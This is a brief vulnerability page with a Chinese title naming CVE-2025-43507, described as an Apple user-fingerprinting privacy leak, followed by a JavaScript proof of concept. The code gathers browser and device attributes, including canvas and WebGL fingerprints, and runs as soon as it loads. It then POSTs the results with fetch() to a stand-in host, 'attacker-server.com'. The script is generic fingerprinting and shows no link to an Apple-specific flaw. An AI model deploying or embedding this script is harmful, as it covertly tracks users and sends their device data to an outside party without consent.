CVE-2025-43507: Apple产品用户指纹识别隐私泄露漏洞

// CVE-2025-43507 PoC - Device Fingerprinting // This PoC demonstrates how an app could fingerprint users // Example: Collecting device information for fingerprinting function collectDeviceInfo() { const deviceInfo = { userAgent: navigator.userAgent, platform: navigator.platform, language: navigator.language, hardwareConcurrency: navigator.hardwareConcurrency, deviceMemory: navigator.deviceMemory, screenResolution: `${screen.width}x${screen.height}`, colorDepth: screen.colorDepth, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, canvasFingerprint: getCanvasFingerprint(), webglRenderer: getWebGLRenderer() }; return deviceInfo; } function getCanvasFingerprint() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d'); ctx.textBaseline = 'top'; ctx.font = '14px Arial'; ctx.fillStyle = '#f60'; ctx.fillRect(125, 1, 62, 20); ctx.fillStyle = '#069'; ctx.fillText('CVE-2025-43507', 2, 15); return canvas.toDataURL(); } function getWebGLRenderer() { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (gl) { const debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); return debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'unknown'; } return 'not supported'; } // Send collected data to attacker server function sendFingerprint(data) { fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify(data) }); } // Execute fingerprinting const deviceData = collectDeviceInfo(); sendFingerprint(deviceData);
